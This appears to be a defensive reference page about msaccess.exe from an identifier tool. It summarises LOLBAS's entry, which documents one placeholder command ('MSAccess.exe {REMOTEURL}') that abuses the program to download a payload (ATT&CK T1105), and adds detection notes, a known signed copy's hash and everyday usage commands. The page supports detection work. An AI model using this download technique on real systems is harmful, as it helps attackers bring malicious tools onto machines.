Identifier / Programs / Windows
msaccess.exe
Microsoft Office's database management application. tldr-pages
LOLBAS Download 2 Sigma rules name it 1 ATT&CK technique 1 documented command 1 known copy with hashes
How msaccess.exe is abused
Download T1105 Ingress Tool Transfer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msaccess.exe.
1 documented command
Download T1105 Ingress Tool Transfer User privileges
Downloads payload from remote server
MSAccess.exe {REMOTEURL}IdentifyThe command the identifier reads trips no Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msaccess.exe, by Nir Chako, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msaccess.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real msaccess.exe?
C:\Program Files (x86)\Microsoft Office\root\Office16\1 known copy
16.0.12527.20482 · C:\Program Files (x86)\Microsoft Office\root\Office16\MSACCESS.EXE · signed by Microsoft Corporation
a59bec6bfeb33cd5beb8c98f1719bea48c220e418e47f06824b284b5b943531aFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Launch the database application
msaccessIdentifyOpen an existing database file
msaccess path\to\file.accdbIdentifyOpen an existing database file in read-only mode
msaccess /ro path\to\fileaccdbIdentifyNone of the 3 examples the identifier reads matches LOLBAS abuse or trips a Sigma process-creation rule.